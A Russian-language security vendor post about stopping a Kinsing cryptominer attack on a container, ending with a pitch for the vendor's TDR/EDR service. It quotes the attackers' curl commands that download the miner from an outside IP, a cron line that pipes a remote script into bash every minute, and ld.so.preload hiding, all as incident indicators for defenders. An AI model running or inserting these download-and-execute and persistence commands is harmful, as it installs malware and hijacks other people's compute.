🥑 Атака майнера: защита контейнерной среды на практике

Чем популярнее становятся контейнеры, тем больше появляется угроз, связанных с уязвимостями этих сред.

Рассказываем, как мы остановили атаку кластера активности Resourceful Wolf. Она началась с эксплуатации уязвимости публичного веб-приложения, запущенного в контейнере.

Что сделали злоумышленники:

1. Загрузили с внешнего ресурса ПО для майнинга Kinsing:

curl -o /tmp/libsystem.so http://95.142.47[.]27/libsystem.so ; curl -o /tmp/kinsing http://95.142.47[.]27/kinsing

Kinsing — вредоносное ПО на основе Golang, которое используется для добычи криптовалюты на взломанном сервере. Обычно злоумышленники устанавливают этот майнер в контейнере, поэтому для защиты от подобного ВПО важно иметь под рукой решения или сервисы, позволяющие видеть происходящее в таких средах.

2. Закрепились через задачу Cron:

* * * * * curl http://95.142.47[.]27/kinsing | bash > /dev/null 2>&1

3. Попробовали скрыть вредоносную активность в системе — добавили в /etc/ld.so.preload вредоносную библиотеку /tmp/libsystem.so.

4. Удалили историю вводимых команд.

Команда BI.ZONE TDR остановила атаку. Мы изолировали скомпрометированный хост, проанализировали контейнер и предотвратили вредоносную активность.

BI.ZONE EDR в составе сервиса BI.ZONE TDR позволяет вести мониторинг событий в контейнерах, при необходимости обеспечивая активное реагирование на хостах. В результате удается защитить контейнерные среды от ВПО вроде майнера Kinsing.

Напишите нам, и мы проведем бесплатное пилотирование.